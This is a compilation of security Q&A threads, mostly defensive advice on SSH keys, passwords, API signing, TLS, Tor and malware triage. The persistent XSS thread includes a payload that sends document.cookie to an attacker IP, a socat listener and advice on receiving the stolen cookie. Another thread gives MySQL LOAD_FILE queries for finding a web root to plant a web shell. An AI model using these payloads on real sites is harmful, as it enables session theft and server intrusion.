I was tempted to go ahead and connect anyway, assuming it must be a typo. But I didn't, instead contacted the sysadmin. It turns out it was a typo, has been there since 'Heartbleed', and some how I'm the first to notice it.

If I had gone ahead and connected, what is the actual risk? I think I understand that I'm potentially connecting to an attacker's server instead of the one I intend to, but that raises two questions:

Surely there is no connection to me, so the "only" risk is that I upload something or enter some credentials, thinking it is the correct sever, but that I would not want an attacker to have? That is, there is no risk to the personal files on my machine, and the risk is over when I disconnect from the server?
The key is public. What stops an attacker using the correct public key for her own server, that I unwittingly connect to?

Or do I have it completely wrong?

You're correct.  The risk is what information you provide to the server, or on the server.  The attacker could modify it's SSH client to inject some kind of malicious data in it's responses.  However, it would have to conform to the SSH spec in order to be processed correctly by your SSH client, and then also do something malicious.  Which in my opinion would be be non-trivial.
Public and private keys are generated as a pair.  As long as the key was generated with a cryptographically secure PRNG it will only have one private key paired with it.


Are most Linux systems that allow non-root users to execute code straightforwardly rootable? long story short if you can execute code on a box it is usually straightforward to get root

(quote source)

The immediate implication of this quote (if it's accurate) is that if you're running a multi-user system and don't try your darndest to prevent all users from creating files with x permission set, the system is as good as compromised. The corollary is that operating a multi-user system, such as ones typically found in universities, that by design allow all students to do exercises in C, C++, assembly etc, is pointless, since any student can straightforwardly root this system.

Since running computer systems intended to be used by more people than their owners is not considered pointless, and privilege limiting facilities (users' rights management, sandboxing, etc etc) are not considered useless, I somehow doubt these kinds of comments. But what do I know?

Is it true that most Linux systems are straightforwardly rootable by anyone who can execute code on them?

No, this is not correct. While one may argue about the relative difficulty of finding and exploiting 0day vulnerabilities on Linux when you have local access, the security architecture itself of a modern Linux system (with an MMU) is designed to isolate different users and prevent privilege escalation. A non-root user cannot gain root without proper authorization without exploiting an extant vulnerability, and such privilege escalation vulnerabilities are very quickly patched as soon as they are discovered.*
It is possible, however, to abuse the human factor and gain root by exploiting misconceptions ubiquitous in the sysadmin profession. This of course relies on the sysadmin misunderstanding the security architecture of the system they maintain. A non-exhaustive list of examples:

Elevating privileges with sudo or su from an unprivileged but untrusted user.1

Tricking a sysadmin into running ldd on a malicious static executable as root.2

Abusing an insecurely installed binary.3

Dropping down to a lesser user from root, allowing a TTY pushback attack.4 5

* While this is ostensibly true, many deployments do not update themselves frequently enough, leading to live production systems being vulnerable to known bugs. An update being available does not guarantee an update being installed.


Windows Applications for Exploit Development exercising? I started to learn ASM and learned a lot about exploit development in the last few weeks. My question is, are there any comparable vulnerable windows programs like vulnserver out there which are good for exercising ?

I found a very comprehensive list of various applications to use for pentesting. There isn't much I could find however for windows applications, but here's some of them from the link above:

www.oldapps.com - Some old versions of apps which have known vulnerabilities.
www.payatu.com/hacksys-extreme-vulnerable-driver - A windows driver with vulnerabilities such as stack overflow.
sourceforge.net/projects/virtualhacking/files/apps%40realworld/ - This website has a TON of vulnerable applications all ready to be exploited.
www.oldversion.com/ - More older versions of programs.
www.overthewire.org - This has many security challenges - buffer overflows, web exploitation, etc.

The website I linked earlier also has many other resources for practising which may interest you.


How to get admin cookie with Persistent XSS? Two parts to this question.

Let's say there is a site which accepts my input and sends it in XML format to server. When I enter the input as shown here: https://ghostbin.com/paste/hc5n6

The reason I put the code at above link is because I cannot insert the code here. It does not format properly.

It adds a new line in the HTML page response:

<script language="Javascript" type="text/javascript">alert ('XSS')</script>rn

I even receive a popup and the JavaScript executes successfully.

So, as I understand, the page is vulnerable to persistent XSS? Since those entries are persistent on the web page and each time I reload the web page, the javascript is a part of the HTML response.

Now, I want to steal the admin cookie (this is part of an exercise where the server is remote). It is not a Local area network.

I constructed my payload as shown below:

<![CDATA[rn
    <script language="Javascript" type="text/javascript">document.write('<img src="http://<ip_address>/?'+document.cookie+' "/>');</script>rn
    ]]>

Here, ip_address is my local IP address (as returned by ifconfig).

I run socat on my local machine as shown below:

socat TCP-LISTEN:80,reuseaddr,fork -

Now, my question is, how can I receive the admin cookie using above method?

Because the server is remote. When the administrator visits the page with persistent XSS, how will the cookie of administrator be transmitted to me?

Do I need to supply my public IP address in above image URL instead of the local IP address?

To get another user's cookie via javascript, you seem to need the following conditions to hold true:

the cookie is not set with HttpOnly (otherwise the browser will deny JS access to the cookie) or you are able to get a JS based keylogger into the login page and MFA is not used.
you are able to get the XSS to run somewhere an admin user will be
and either:

you have a resolveable host that the cookie can be sent to - if this is a public internet application and you're not on the same network, you could use a personal machine exposed via something like ngrok or some other host that is publicly addressable like an exposed AWS/GCP/Azure server

and CORS is enabled so the browser doesn't block a x-domain request/you use a way of bypassing SOP like via the img tag in your example.
or

can devise some means of exfiltrating the cookie via the server that hosts the site. This might be achieved by causing the admin user to post their cookie back to the site somewhere you can find it/extract it from server rendered HTML (like a hidden field in a forum post or something).


Is it unsafe to parse user input without checking for correctness? I currently have the problem in one of my self-written apps that the app receives user input (JSON) from another app, but I am not able to check if this input is good or malicious. I can't check this because I do not know what is in this data, i.e. I know how the header should look like, but the data changes. But, before the remote app is able to send information it has to authenticate itself. Is this enough for providing security against malicious attacks via sending bad data, or should I improve the security? If yes, how?

No, authentication is not a sufficient compensating control for lack of input validity checking.

You can't always usually ever trust input from users and and other systems (and I recommend not trusting input from your own system, as well).  As an example, I've had roughly 5 instances in the last three months where a trusted user's system acted as an unwitting conduit for a scan or attack.  In one case, their system was carefully tucking malicious input from a third party into valid (schema-appropriate) XML and forwarding it under their credentials.  Oops!

You may not know what to expect for the valid content of the data but you should be able to look at both the structure of the data and invalid content of the data.

Structure - If it's a phone number, zip code, SSN, or other structured data, you can do syntax checking to make sure it fits the appropriate pattern.

Invalid Content - If it's unstructured text, you can validate size, and you can look for and quote metacharacters that are often used to abuse parsers and processors (`, ;, (), {}, &, <>, etc.).  This is a difficult task to do comprehensively, which is why the Web Application Firewall market has sprung up - it offloads the scanning of content for malicious strings to a specialized tool that can focus on the task.


Is there a risk in rebooting a smartphone while it's connected to an unknown USB port? I rebooted my phone while it was connected to the PC and saw a notification about a failed device installation. Looked up the text and the code, and it turns out my phone exposes a certain way to update its firmware right after reboot for a short while. The data was transferred by the phone to the computer, and there's an entry about what device appeared for a second, and it's different from the phone's normal info, visible in the same registry folder.

Normally though you see in guides about changing a phone's firmware that you need to hold special keys for several seconds to enter debug mode. So this uninvited exposure of another device ID doesn't seem right.

So that got me thinking: Is it possible to modify a phone's (or tablet's) firmware or otherwise do something unexpected by user if you connect it to some random bus station's USB charging port and reboot?

In addition to the risk of phone can be booted to ADB (Android Debug Bridge) or CLU (Command Line Utility) there is a bigger risk in connecting to unknown USB connections as follows:

USB is much more capable of being used to steal data, as it is already designed to transfer data as well as provide charge. When a mobile device connects to a USB port, it attempts what is known as a "handshake," at which time some data is transmitted. "Even when a mobile phone is in 'charging only' (locked) mode, it can still transmit the device name, vendor name and serial number to the system behind the USB port, and more based on the platform and operating system of the phone".

Source: https://www.techrepublic.com/article/free-charging-stations-can-hack-your-phone-heres-how-protect-yourself/

That’s why there are recommendations on not to use public charging points where the risk of being hacked is high. And it is not recommended to unlock and use the phone while charging, and to utilize proper encryption when possible.


Is it possible to locate web document root using SQL query/SQL Injection? I have access to MySQL database which the current user has FILE privilege. I want to upload a web shell but I do not know the root directory of the web server.
Is it possible to somehow locate the root directory using a SQL query?

If you have permissions to write files, you probably have permission to read them, too.
I'd start from reading web server configuration files, e.g.
SELECT * LOAD_FILE('/etc/apache2/apache2.conf');
SELECT * LOAD_FILE('/etc/nginx/nginx.conf');

However, it's not guaranteed that the MySQL has permissions to write to the document root.


How secure is Chrome storing a password? Whenever I enter a login into a new site, Chrome asks me if it should store the login details. I used to believe this was fairly secure. If someone found my computer unlocked, they could get past the login screen for some website using the stored details, but if asked for the password again like during checkout, or if they wanted to login to the service from another device, they would be out of luck.

At least, that's what I used to think when I believed the browser did not store the password itself, but a hash or encryption of the password. I have noticed that the browser fills the username and password fields, and the password field indicates the number of characters in the password.

I'm one of those people who when asked to change their password just keeps the same password, but changes a number at the end. I know this is bad, but with how often I am asked to change passwords, I really could not remember the number of passwords expected of me. This results in a lot of passwords that are the same, but sometimes I forget what the end number needs to be for a particular login.

I could not remember the ending number for a certain login, so I went to a website where the password was stored. I deleted the last couple of characters and tried different numbers and viola, knew what was the right ending number.

It seems to me that this is a fundamental security flaw. If I can check the last character of my password without checking any others, then the amount of tries it takes to crack the password grows linearly with the number of characters not exponentially. It seems like a short stride from there to say that if someone came to my computer when it was unlocked, a simple script could extract all of the stored passwords for all of the major websites which I have passwords stored for.

Is this not the case? Is there some other layer of security that would prevent this?

Chrome not only stores your password text, it will show it to you. Under settings -> advanced -> manage passwords  you can find all your passwords for all your sites. Click show on any of them and it will appear in the clear.

Hashed passwords work for the site authenticating you. They are not an option for password managers. Many will encrypt the data locally, but the key will also be stored locally unless you have a master password setup.

Personally, I use the chrome password manager and I find it convenient. I also, however, have full disk encryption and lock my screen diligently. Which makes the risk reasonable imho.

You seem to be inconsistent (many are) by both selecting memorable passwords and using a password manager. And I may venture to guess you may even repeat the password or at least the theme across many sites. This gives you the worst of both worlds. You get the risks of password manager without the benefits.

With a password manager you trust, you can give each site a unique random password not memorable at all and gain a lot of protection from many very real attack vectors. In exchange for a single point of failure of your password manager. Even with a less than perfect password manager this isn't an unreasonable trade off. With a good password manager this is becoming the consensus best practice.

Edit to add: please read Henno Brandsma  answer explaining how login password and OS support can be used to encrypt passwords, this gives a reasonable level of protection to your passwords when the computer is off/locked (full disk encryption is better) and won't help much if you leave your computer unlocked. Even if the browser requires password to show plain text debug tools will still let you see already filled passwords as @Darren_H comments. The previous recommendation still stands use random unique passwords and a password manager.


One-Time-Password securing an embedded server via OpenSSL I am developing an application to secure communications between a client and an embedded linux server.  I am very new to the field of cryptography, so at this stage I am looking more for guidance - especially when it comes to vulnerabilities in my approach.

The server will not be connected to the internet.  I am looking for a way to implement a one time password authentication - (presumably the OTP would be generated via some shared secret exchanged between the client and server).  I do not want to store static keys on the server, so I was thinking something along the lines of using Diffie-Hellman ephemeral key exchange could be used to exchange these keys or something along those lines.  Could someone give me some pointers as to how I could approach solving this problem - or better still if this has already been done.  I was thinking of using OpenSSL to put the server pieces together and the client needs to be more open ended - Java/C++/Platform agnostic.
Perhaps there are some OpenSSL examples that do something similar to this, if so please send them along.

EDIT:
So I've been doing a bit of experimentation since posting the question yesterday.  I was able to verify that I can successfully create a shared secret using an ephemeral Diffie-Hellman key exchange.  I got a C++ proof of concept working using the OpenSSL library, as shown in block of code below (which I adapted from various snippets I found online, sorry I lost the links).  From what I can tell, this should be sufficient to get One Time Passwords working between the client and the server.  For this latter solution, I was thinking about linking to the OATH Toolkit library for HOTP or TOTP Algorithm support.

The idea would be that once the shared secret was exchanged, the server could make up an OTP with both the shared secret and some server random data.  Once the client knows this OTP they would provide it to login and authenticate.    I am not sure if I have completely gotten this wrong of if what I am proposing is not possible (or more likely full of holes).

The following block of code shows how to the Diffie-Hellman shared secrets are identical (given a common generator and prime which is established via the DH_generate_parameters_ex.... and cloned for the client and server using the DHparams_dup API the DH keys replaced via the EVP_PKEY_set1_DH call)

auto dhparams = DH_new();
if ( DH_generate_parameters_ex(dhparams, 512, DH_GENERATOR_5, nullptr) != 0 ) {
    // duplicate the existing parameters for alice
    auto dhparams_alice = DHparams_dup(dhparams);
    // generate Alice's private and public key values
    // should return 1 for success
    auto res = DH_generate_key(dhparams_alice);

    // Use the same generator and bitlength parameters
    auto dhparams_bob = DHparams_dup(dhparams);
    // generate Bob's private and public key values
    // should return 1 for success
    res = DH_generate_key(dhparams_bob);

    auto key_alice = EVP_PKEY_new();
    // should return 1 for success
    res = EVP_PKEY_set1_DH(key_alice, dhparams_alice);

    auto key_bob = EVP_PKEY_new();
    // should return 1 for success
    res = EVP_PKEY_set1_DH(key_bob, dhparams_bob);

    // Compute the shared secret using Alice's private key and Bob's public key.
    // unique pointer, so automatically destroyed.
    size_t keyLen1 = 0;
    auto key1 = dh_derive(key_alice, key_bob, keyLen1);

    // Compute the shared secret using Bob's private key and Alice's public key.
    // unique pointer, so automatically destroyed.
    size_t keyLen2 = 0;
    auto key2 = dh_derive(key_bob, key_alice, keyLen2);

    // Prove correctness by showing Alicia and Beth derived the same secret
    if (keyLen1 != keyLen2 || memcmp(key1.get(), key2.get(), keyLen1) != 0) {
        std::cout << "Shared Secret different" << std::endl;
    }

    EVP_PKEY_free(key_alice);
    EVP_PKEY_free(key_bob);
    DH_free(dhparams_alice);
    DH_free(dhparams_bob);
    DH_free(dhparams);

So you basicly want to do Two-Factor-Authorisation? (Or did I misunderstand?)

I'd simply use TOTP (Time based One Time Password) which became the standard for two-factor-authorisation.

Advantages

Standarized method
Compatible to Google Authentificator or pretty much every alternative
Really easy to either use an existing implementation or implement on your own
You don't need to be online nor connected to the server.

Disadvantages

You have to store the client's secret in a secure way to ensure it's not leaked upon a data breach.
Who knows the secret is able to generate passwords at any time he wants. (But that's pretty common when it comes to encryption)


Wiping data properly in LUKS encrypted drive Is it enough just to remove the header of LUKS device to wiping (unrecognizable) the data completely? Or it is recoverable (I don't want to recover though)? I need some safeguard to wiping my workplace harddrive.

Assuming there is no backup LUKS header.

In the modern day, I would recommend logical wiping to a consistent value and verifying, even for an encrypted disk with the key stored only in one place.  Given the possibility of bad blocks being silently recovered on a spinning HD, SSDs scheduling data for delete later on, it just seems safer.

In contrast, I'd say that for an un-encrypted disk you should assume that even with multiple logical overwrites that there could be some bits leaking.

If the standard you are looking for is: "provably recoverable is unacceptable," then erasing the only places the key is stored seems fine.  If the standard is "probably recoverable is unacceptable," then you're still probably fine with your described plan (my personal judgment).  If your standard is "possibly recoverable is unacceptable," then go the extra mile.


Continuous ping on google's servers Using Wireshark, I recently discovered that my computer (running on Windows 10) is sending ping requests to Google's servers. According to wireshark, my computer is sending ICMP requests and receive responses. After rebooting, ping is starting again...

I have tried to close all apps running, but still those ICMP requests are sent every second. Sometimes the IP address changes but still on Google's server: usually, addresses are something like 216.58.2XX.X

I tried netstat -ano but I haven't seen sames IP's addresses.

The solution I found was with PeerBlock and I'm adding the IP addresses to the block list...

Are those requests to Google something normal? What tools can I use to find the program that is sending these requests?

Netstat isn't going to show ICMP.

Try installing Microsoft Network Monitor:
https://blogs.technet.microsoft.com/netmon/p/downloads/

Start a capture, filter on ICMP and the destination IP, and you should be able to see the Process Name.


haproxy with client certificate authentication signed by 'common' CA Excuse me if I posted this here wrongly, I know the question is partly about haproxy itself.

I am setting up haproxy as an SSL terminator/load balancer in front of an API that we need to expose over the internet to a customer.

The plan was to use mutual (2-way) SSL/HTTPS to verify that both parties are who they are since there is no further authentication on the API itself. On top of this we will also utilize an IP whitelist.

Now the customer has given us a certificate that both parties use for both server and client certificates, this certificate is signed by a 'common' CA (DigiCert). While I understand this is good from a client perspective, as the certificate is also compared to the hostname of the server it's accessing, however the other way around doesn't seem to be that safe (at least not with haproxy)

The way I understand it currently, I have to tell HAProxy to trust certificates signed by Digicert by using the 'ca-file' directive, however, there is no way to tell it that on top of that it also needs to be a specific client certificate, because I don't want to trust all client certificates signed by DigiCert.

Is there a way to do this with HAProxy? If not, I guess the only way forward would be to make self-signed client certificates for both sides and exchange them (or rather, certificate signing requests, and have the other party sign them).

Or is my understanding of the whole client certificate concept just wrong?

Building on StackzOfZtuff's answer, I figured out its actually possible to have haproxy do this itself by using an acl.

With the following 2 lines I can just check the CN in the client cert. And deny requests that don't have a matching CN.

acl validcert ssl_c_s_dn(cn) -m str VALID\ CERT\ CN
http-request deny if !validcert


Securing a REST API: is api_secret signing and ssl enough? for securing a RESTful API I thought of the following authentication procedure for each call:

All data is SSL-encrypted
Every HTTP request made by the client will have a signature such as sha512(keysort(POSTDATA.push({"secret": API_SECRET, "timestamp": utc_time()}))
The Server knows the clients API_SECRET as well and checks if the signature matches the one sent by the client. If that's the case the request is legit and will be processed.

The problem I'm facing here is the following - Since the API will be called by an iPhone App as well as a WebApp I can't think of a way of not transmitting the API_SECRET once.
So let's say the user logs in, sends username=john&password=doe (SSL encrypted) and receives an API_SECRET in response from the server.
This API_SECRET will then be stored by the client and used to sign all further API calls.

I'm using the signing to reduce the risk of MITM attacks, but if I'm transferring the key once it seems like a problem, but I can't think of a way of solving this.

Thanks for your help!

You're asking two different questions here: about the method for generating a "signature" in each request, and about the method for provisioning the API_SECRET to clients on first use.  Strictly speaking, these should have been split up into two questions, but I'll answer both of them.

Your signature format. You've got the basic concept about right, but I have a few constructive suggestions/criticisms:

Use a MAC. You should be using a message authentication code, not a hash.  Using a hash, as you have done, is vulnerable to length extension attacks.  For instance, you might use MAC(K, D) where K is your API_SECRET, D is the data of the request and the timestamp, and MAC is a secure message authentication code algorithm.  AES-CMAC is a good choice of MAC algorithm.  SHA1-HMAC is another standard choice.
Include the timestamp in the request. You'll probably need to include the timestamp in the request.  The server needs to know the timestamp used by the client, to validate the request.  Since you cannot rely upon the client's and server's clocks to be perfectly synchronized, you'll need to send the timestamp in the request.
Watch out for duplicate parameters. If you have two request parameters with the same key, then you can run into host-parameter pollution (HPP) attacks.  I suggest checking that the keys are all unique, and that the request does not have any parameter with a key of secret or timestamp (if you will be adding those parameters to the POST parameters).
Beware of concatenation issues. You didn't say how you take the sorted list of parameters and turn them into a string.  The details matter.  If you just concatenate all of the values, you will be vulnerable, since the boundary between fields is ambiguous.  So, don't use concatenation; use some unambiguously decodeable encoding when preparing the data for hashing (or signing by the MAC).
Other resources. See also How to implement an API-Key-Mechanism for a related question.

Provisioning cryptographic secrets. So, you need a way to get the API_SECRET to each client.  Here's one standard way to do it.  On first login, the user types their password into the client.  The client opens a SSL connection to the server and sends the user's username and password.  The server validates the user's credentials, and if they are correct, sends this user's API_SECRET value to the client.  The client now stores the API_SECRET in private storage (but does not store the user's password).  On subsequent connections, the client can now use its API_SECRET to authenticate itself.

An alternate approach. If you are going to be connecting only from dedicated clients (e.g., a mobile app, a desktop application; but not from Javascript running in the browser), then you might consider the following alternative.  Instead of using symmetric-key crypto, use public-key crypto.  In other words, instead of using an API_SECRET, have each client generate its own SSL client certificate.  The client stores the private key securely.  On first connection, the client authenticates using the user's password and sends its public key (actually, its cert), and then forgets the user's password.  The server remembers the client's cert and all subsequent connections are authenticated by using SSL with client certs.

This is a strong approach.  It takes care of all of the potential security approaches listed above.  The only downside is that you cannot easily write a Javascript/AJAX client that runs in the browser.


Is there any reason I shouldn't make a GPG-encrypted file publicly-accessible? I'm working on a project where we need to keep a few specific files easily accessible, but encrypted. My idea for accomplishing this is to have the files available in the project's public website, encrypted to all of the members' PGP keys. I know that in theory, this means that only those members can decrypt it, and the files are safe, but is there a risk I'm missing?

There is always a risk that any given cipher will be broken at some point and data like this will become truly public. So yes there are some risks but it doesn't mean you aren't making a reasonable security trade-off.

A few things you may want to consider:

What's your worse case scenario with the data going public and are there implications to this data going public that you might not be aware of ?

Are there any time-based factors to this data, such as the data is only useful for a year, a week, etc ?

Are there any regulatory, legal, or ethical implications of this data going public ?

Can you add additional security controls such that it's not just one control protecting the data ?

Do the people you want to share this data with need ALL of the data or could they satisfy their needs with a smaller subset of data ?

Is data masking (replacing sensitive data with known fake data ) an option here which would provide additional security ?

Where will it be decrypted and where will the decryption keys be stored ?

Is the passphrase to decrypt it easy to brute force ?

etc... Millions of other questions go here.

Nothing is 100% secure, everything is a trade-off so you need to look at the decision from a few different angles first.

Generally my advice when I see a single security control is to tell you that you need additional levels of security controls rather than just one. So I would have to advise you to consider additional controls but again even then I don't know what you are protecting and if it's just a collection of Internet cat photos then hey maybe just using GPG is good enough... (no offense to GPG of course, that's a great tool but cat photos are everywhere)


Is it reasonable to provide admin access for a PCI vulnerability scan? My organization is going through a PCI-DSS compliance process. As part of that, we're contracting out our external and internal vulnerability scans.

The contractor is asking for admin access to our servers so they can verify that all our software and operating systems have been fully patched to the latest versions. To me, this sounds out of bounds for a vulnerability scan. But I'm also not super familiar with PCI requirements. Is this a standard part of vulnerability scanning as far as PCI is concerned?

Is this a standard part of vulnerability scanning as far as PCI is concerned?

No, it's unusual, and having worked with 4-5 different auditors, I've never been asked for that.

It's much more common for the auditor to request certain evidence - either the auditor 'rides shotgun' while you gather the evidence, or they trust you to gather the evidence - from a statistically significant sample of hosts.

First of all, there's the responsibility issue.  If you give them admin credentials, and then they do anything wrong while poking around with your servers, and cause downtime or damage, that's a big problem.  A good auditor will be even more interested in avoiding that than you are!

But secondly, and more importantly, let's see what SAQ A-EP is asking them to do:

For patching, the expected testing is to "Review policies and procedures".  For critical patches it adds "Examine system components" and "Compare list of security patches installed to recent vendor patch lists".  In my experience these have always been satisfied by providing the installed patch list to the auditor.  The more stringent auditors I've dealt with required me to gather that evidence in front of them to prove its provenance.

I have had auditors who asked me to run an information gathering script on a sample of hosts - which we did, after examining the script, and running it on non-production hosts first to make sure it didn't cause problems.  But, again, they had no interest in running it themselves, and didn't ask for any access to the servers.


IIS 7.5 impersonation threat? I am using IIS 7.5 and I want to impersonate users for my different applications in an intranet environnement. To do so, I am considering using the asp.net mechanism with the user/password in the web.config (encrypted), but I'm unsure about some possible threats. I'll explain it with a concept (I know my example is useless but it represents my situation so please bear with me)

Let's say that I have 2 directories:

One empty directory (DirectoryA) that permits access to all users (ntfs permissions) and that contains a web.config that impersonates UserA
One directory (DirectoryB) containing a web site that I want to restrict access to, which also contains a web.config that impersonates UserA (same user as DirectoryA, not a typo)

To have the impersonation going on DirectoryB, I need to give ntfs permission allowing UserA in DirectoryB.

My question is: is it possible for someone to access DirectoryA (which will impersonate him as UserA) and then somehow access the site on DirectoryB using the impersonated UserA? If it is, how?

Thanks for any insight

IIS 7.5 should keep both sites independant even if the user is the same.
I would advise to run the sites in different application pools. :)

But both sites will have access where the user is defined to have access.

So if your web application is not strong enough it might exist the possibility of trying to navigate to the other directory.

"Use ASP.NET impersonation when you want to run your ASP.NET application under a security context different from the default security context for ASP.NET application.

If you enable impersonation for an ASP.NET application, that application can run in one of two different contexts: either as the user authenticated by IIS 7 or as an arbitrary account that you set up. For example, if you were using Anonymous authentication and chose to run the ASP.NET application as the authenticated user, the application would run under an account set up for anonymous users (typically, IUSR). Likewise, if you chose to run the application under an arbitrary account, it would run under whatever security context was set up for that account."

source: http://technet.microsoft.com/pt-pt/library/cc730708(v=ws.10).aspx


Is it ok to send roles and permissions data to the browser in a RBAC system? I have a backend with a simple RBAC implementation. We have a list of permissions, each permission is associated with a list of roles, each user is given one or more roles.
Is it ok to send this permissions/roles mapping to the browser, so that we can use it in the client side SPA (to hide/show some links/pages, avoid sending a request to the server, ...) depending on the connected user.
Of course we will still perform permission check on the backend.

It's fine as long as it's for convenience only and does not serve a security function. And if exposing that information does not create a vulnerability in your system.
Anything you send to the client can be manipulated and exposed by the client.
You want to ask yourself, "if I was malicious and I had this information, how could I abuse or misuse the system?"


Extract urls from obfuscated android malware Working on android malwares, i have faced many android malwares that typically contain urls which are bank phishing page. This type of malwares are growing in number so an automated detection system is really needed. The very first step to detect such malwares is url/link extraction.

One simple static approach is to decompile the app and search for strings beginning with "http" in source code. There are many tools and libraries such as stringoid, Diggy, NinjaDroid, Androguard and many others but as far as i have tested these tools, they can not detect obfuscated urls. For example, consider this code:

this.c = "/something";
this.d = new String(Base64.decode(Application.a, 0));
this.a.loadUrl(this.d + this.c);

It's clear that static analysis alone is insufficient so i'm looking for some other solutions. So far, i have seen some approaches in some articles that try to extract such obfuscated strings from android APK files. One example is ForceDROID that presents a hybrid (both static and dynamic) technique for extracting hidden information. This technique works by changing control flow conditions to execute a certain path. Another example is based on deobfuscation.

These techniques are all great but the problem is that there isn't any implementation of them available.

Unfortunately, i'm not skilled enough to implement such techniques. One approach i think of is to first use an deobfuscator such as simplify and then extract urls through static analysis (using the tools mentioned above).

What are other ways to automatically extract obfuscated urls? Is there any tools or library out there?

I am afraid there are more ways to obfuscate an URL than one can count. It's very easy to come with another method when your last one got flagged, so static analysis is not recommended.

If possible, run the app inside an emulator, log all external communication and compare with a whitelist of allowed sites. Static analysis will generate too much false-positives and false-negatives to be useful.


How is a Tor hidden service authenticated based only on trusting the address? While being fascinated by how it is possible to create hidden services with Tor, there's a few details around the address collision issue I can't seem to wrap my head around.

Quote from Hidden Service Names on the Tor wiki (my emphasis):

  The output of SHA1 has a length of 160 bit. To make handling the URLs more convenient we only use the first half of the hash, so 80 bit remain. Taking advantage of the Birthday Attack, entropy can be reduced to 40 bit. That's why collisions could be found with moderate means. This is not a problem for Tor since all an attacker might be able to do is create two different public keys that match the same .onion name. He would not be able to impersonate already existing hidden services.

So if I were to trust only the address of a hidden service, how is it that it cannot be impersonated?

If two services had announced themselves with each their own public key, where both hash to the same address, how do I know which service is my intended one when I try to visit the address?
How, for that matter, is the destination decided? Will my onion proxy tell me that there are 2 services for this address, present each public key and ask me to choose?
If my service for some reason went down and another had announced itself, again its public key hashing to the same address, how do I know that this service is not the one I intend to visit? If I have visited it before, will my onion proxy warn me that the key has changed? What if I hadn't ever visited it?

It seems to me that in order to authenticate a service, it's not enough to trust its address, I need to obtain and trust its public key separately and in advance of looking up the service in the Tor network. Am I incorrect in this conclusion?

Being able to generate a pair of keys with the same .onion address is of no help when trying to impersonate an existing service.  Impersonation requires generating a key with an existing address, which is a preimage attack, not a collision attack, and so the full 80 bits of address length are providing security.

80 bits of security is considered adequate at present, although just barely so.


Making a Blacklist of filetypes to protect PHP application I'm working in a PHP system where the user can upload files.

I'm trying to protect the system from malicious codes, so I'm thinking about some type of blacklist of files that I've to block from upload.

I know that a Whitelist is better than a Blacklist and this is my common approach, but in this case I need to do a blacklist of files for many reasons (out of my control), but I still looking for safety (if possible).

This is my current script (I'm checking the MIME type to get the file type):

        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $check= finfo_file($finfo,$file["tmp_name"]);
        finfo_close($finfo);

        $dangerMime = array('application/x-bsh', 'application/x-sh', 'application/x-shar', 'text/x-script.sh');
        if (in_array($check, $dangerMime)) {
            //block upload
        }
        else {
            //allow upload
        }

The current list of MIME types to block is:

  'application/x-bsh', 'application/x-sh', 'application/x-shar', 'text/x-script.sh'

I'm trying to block any .sh file, since the system is running in a CentOS under Apache. Are there any other filetype that I also should block?

Following are some importante information:

The Server is a CentOS 7.2 with Apache 2.4.6. Following are the permissions of the uploads directory:

drwxr-xr-x  4 apache apache 4096 Jan  8 12:23 uploads

Note: In this project, I'm acting just as developer, so I can't change the file permissions.

It is not clear from your description why you want block these files exactly. I see the following possibilities:

You want to block files that might infect the server itself. Unfortunately this can be about anything: shell, perl, python, awk, ... and of course compiled binaries.  But to get these files executed without explicitly calling them with an interpreter the executable bit must be set, which should not be the case if the file gets uploaded from inside a web application. This is at least the case on UNIX systems, because on Windows the extension is enough and there you have also PoweShell, JavaScript, Batch and all the other files.  Still, something must at least trigger the execution of the file or have the upload directory in the path for DLL's and shared libraries.
Or you want to block files which might be executed by the web server itself, i.e. from inside the web application. These are PHP, ASP, CGI ... files which will be executed via a URL and cause harm for the user or for the server. Of course the only works if your upload directory is reachable by a URL or if the attacker manages to break out of the upload directory with path traversal attacks or similar or if the attacker manages some server side code to include these files (i.e. local file inclusion attack).
Or you want to block files which might be included to serve malware to the user, i.e. corrupt PDF documents, javascript redirecting to malware sites. In this case you have probably a upload directory which is reachable by a URL because you want users to download these files. Unfortunately for such files not only the file type you see is important but also the context in which they are called (i.e. as image, script, css, object ...) and you are not able to control this usage.

  ...  but in this case I need to do a blacklist of files for many reasons,

Since you obviously don't know which files can be dangerous at all such kind of blacklist will not work, ever. There will always be file types you miss or the attacker will hide its file behind some other type, i.e. construct a polyglot.


Is Spoofing a CA signed certificate possible? I had never thought about this situation before, I may be completely wrong but I am going to have to clarify it anyway.
When a communication starts with a server, during the client handshake, the client receives a copy of the public key( CA signed). Now, the client has complete access this public key which is signed by the CA.

Why cant an attacker, set up his own server, and use this public key which would essentially make a victim believe that he is the actual server. The attacker of course does not have the private key to de-crypt the communication, but that does not stop the handshake from happening. Since the certificate is signed, when this certificate reaches the victim's browser, its going to say that the cert is indeed fine.

What am I missing here ?

The handshake includes these (rough) steps:

The server sends its public key.
The client encrypts setup info with that public key, and sends it back to the server.
The server decrypts the client's submission and uses it to derive a shared secret.
Further steps use that shared secret to set up the actual encryption to be used.

So the answer to your question is, since an imposter can't perform step 3 (since it doesn't have the private key) it can never move on to step 4.  It doesn't have the shared secret, so it can't complete the handshake.


explorer.exe outbound (Unexplained TCP Connections) I've already disabled SSDP Discovery in Windows Services.
I'm also not conducting any searches. I also have file indexing disabled on my system.
I noticed a number of outbound connections coming from explorer.exe, felt there was no reason for that, so I blocked all outbound connections using Comodo firewall.
Now, after a couple of hours, I did a quick check on Comodo's log and was surprised to see the effects of that block:

~10 attempted outbound connections are getting blocked every hour.
These attempts happen in "blocks" (3-4 at a time)
The attempts happen like clockwork in intervals divisible by 5 (x:46, x:16, x:31, x:46, x:51)
EVERY outbound connection is to a unique remote IP address.
EVERY outbound connection was through a unique source port on my system.
The destination port for every attempt was port 80 (with one exception that was to port 443)

So maybe I'm paranoid, but this seems very, very suspicious.
I've done scans with Windows Defender+, Spybot S&D, and ClamAV and all returned a clean system.
Any thoughts on what's trying to start this connection?

It is not normal for explorer.exe to reach out to the web. You should lookup the ips and see who owns them , what country they are located in, etc on arin.net for example

If they are not owned by Microsoft then start digging more using Virus Total, Alien Vault, etc to see if the ips are known command and control for any particular malware

Lots of malware will inject into and take over explorer.exe because if it's long running persistence (it stays running until the pc shuts off ). Attackers with a reverse shell using something like metasploit meterpreter will also migrate into the explorer.exe process for the same reason.

If your good at network forensics you could also sniff with wireshark and review to the capture to see if you can tell what data it's sending or if it matches any patterns or known malware families.

But otherwise the information you've provided is unfortunately too vague and matches many malware families and so it can prove to be difficult to determine what it is.

If it's illegitimate traffic and it's coming from explorer.exe it's probably time for a re-image and rebuilding that pc


